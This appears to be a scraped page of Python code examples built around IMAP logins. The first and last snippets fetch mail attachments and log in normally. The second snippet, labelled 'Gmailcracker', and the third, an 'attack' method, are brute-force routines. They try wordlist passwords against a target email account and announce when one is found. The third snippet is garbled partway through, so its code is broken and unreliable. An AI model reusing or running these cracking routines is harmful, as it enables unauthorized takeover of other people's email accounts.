Пример #1
0
def getLastEmails(conf, inputs, outputs):
    conn = IMAP(conf["mm_mail"]["server"])
    conn.login(conf["mm_mail"]["user"], conf["mm_mail"]["password"])
    status, data = conn.select("INBOX")
    results = []
    for num in range(1, int(data[0]) + 1):
        typ, data = conn.fetch(num, '(RFC822)')
        raw_email = data[0][1]
        raw_email_string = raw_email.decode('utf-8')
        email_message = email.message_from_string(raw_email_string)
        email_from = email_message['from']
        for part in email_message.walk():
            if part.get_content_maintype() == 'multipart':
                continue
            if part.get('Content-Disposition') is None:
                continue
            fileName = part.get_filename()
            if bool(fileName):
                filePath = os.path.join(conf["main"]["tmpPath"], fileName)
                if not os.path.isfile(filePath):
                    fp = open(filePath, 'wb')
                    fp.write(part.get_payload(decode=True))
                    fp.close()
                results += [{"mail": email_from, "path": filePath}]
        conn.store(num, '+FLAGS', '\\Deleted')
    conn.expunge()
    conn.close()
    conn.logout()
    outputs["Result"]["value"] = json.dumps(results)
    return zoo.SERVICE_SUCCEEDED
Пример #2
0
def main(password):
    global counter
    sys.stdout.write("[-] Trying : %s \n" % (password))
    sys.stdout.flush()
    file.write("[-] Trying : %s \n" % (str(password)))
    try:
        IMAP4 = imaplib.IMAP4_SSL(HOST, PORT)
    except Exception:
        print "Error: Can not connect to internet.\nPlease check your internet connection...\n\n\n"
        time.sleep(3)
        raise
    try:
        IMAP4.login(email, password)
    except KeyboardInterrupt:
        print "\n[-] Aborting...\n"
        file.write("\n[-] Aborting...\n")
        sys.exit(1)
    except IMAP4.error as e:
        if not "credentials" in str(e):
            print "[+] enjoy !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Found!" % (
                email, password)
            file.write(
                "[+] enjoy !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Found!"
                % (email, password))
            sys.exit(1)
    counter += 1
    if counter == len(words) / 5:
        print "[+] Gmailcracker 20% way done..."
        print "[+] Please be patient..."
        file.write("[+] Gmailcracker on 1/4 way done...\n")
        file.write("[+] Please be patient...\n")
    elif counter == len(words) / 4:
        print "[+] Gmailcracker 25% way done..."
        print "[+] Please be patient..."
        file.write("[+] Gmailcracker on 1/4 way done...\n")
        file.write("[+] Please be patient...\n")
    elif counter == len(words) / 2:
        print "[+] Gmailcracker on 50% done..."
        print "[+] Please be patient..."
        file.write("[+] Gmailcracker on halfway done...\n")
        file.write("[+] Please be patient...\n")
    elif counter == len(words):
        print "[+] Gmailcracker done...\n"
        file.write("[+] Gmailcracker done...!\n")
Пример #3
0
 def attack(self, password):
     try:
         sys.stdout.write("\r[*] trying %s.. " % password)
         sys.stdout.flush()
         IMAP4 = imaplib.IMAP4_SSL(self.host, self.port)
         session = IMAP4.login(self.mail, password)
         if (session == 'OK' or 'AUTHENTICATE completed'):
             IMAP4.logout()
             sys.stdout.write("\r")
             sys.stdout.flush()
             self.glob.print_status("Password found! Password: "******"Exiting program ..")
         sys.exit(1)
Пример #4
0
 def __login(self, imap_connection: IMAP4) -> None:
     imap_connection.login(self.__config.email, self.__config.app_password)